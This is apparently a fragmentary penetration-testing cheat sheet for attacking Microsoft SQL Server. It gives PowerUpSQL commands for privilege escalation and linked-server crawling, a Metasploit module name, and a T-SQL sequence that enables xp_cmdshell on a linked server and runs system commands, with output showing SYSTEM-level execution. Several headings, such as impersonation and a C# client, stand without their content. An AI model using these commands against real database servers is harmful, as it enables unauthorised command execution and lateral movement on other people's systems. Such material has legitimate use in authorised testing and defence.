MSSQL
PowerUpSQL
Get-SQLServerLink -Instance server -Verbose
powershell.exe -c "Import-Module C:\Users\Public\PowerUpSQL.ps1; Invoke-SQLEscalatePriv -Verbose -Instance ECORP\sql01"Linked servers
select srvname from master..sysservers;Native
Get-SQLServerLinkCrawl -Instance server -Query "exec master..xp_cmdshell 'whoami'"Linked database tables
select * from openquery(foo, 'select TABLE_NAME from FOO.INFORMATION_SCHEMA.TABLES') Meterpreter module,
exploit/windows/mssql/mssql_linkcrawler
Mssqlclient.py,
execute ('sp_configure ''show advanced options'', 1') at sql99;
execute (' reconfigure; ') at sql99;
execute (' sp_configure ''xp_cmdshell'',1 ') at sql99;
execute (' reconfigure; ') at sql99;
execute (' xp_cmdshell ''whoami'' ') at sql99;
SQL> execute (' xp_cmdshell ''whoami'' ') at sql99;
output
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
nt authority\system
NULL
Impersonation
Check if you can impersonate to other users,
You can then impersonate to those users use,
You can verify the impersonation using,
Mssql Client in C#
Compile using `csc.exe mssql_client.cs`.
Last updated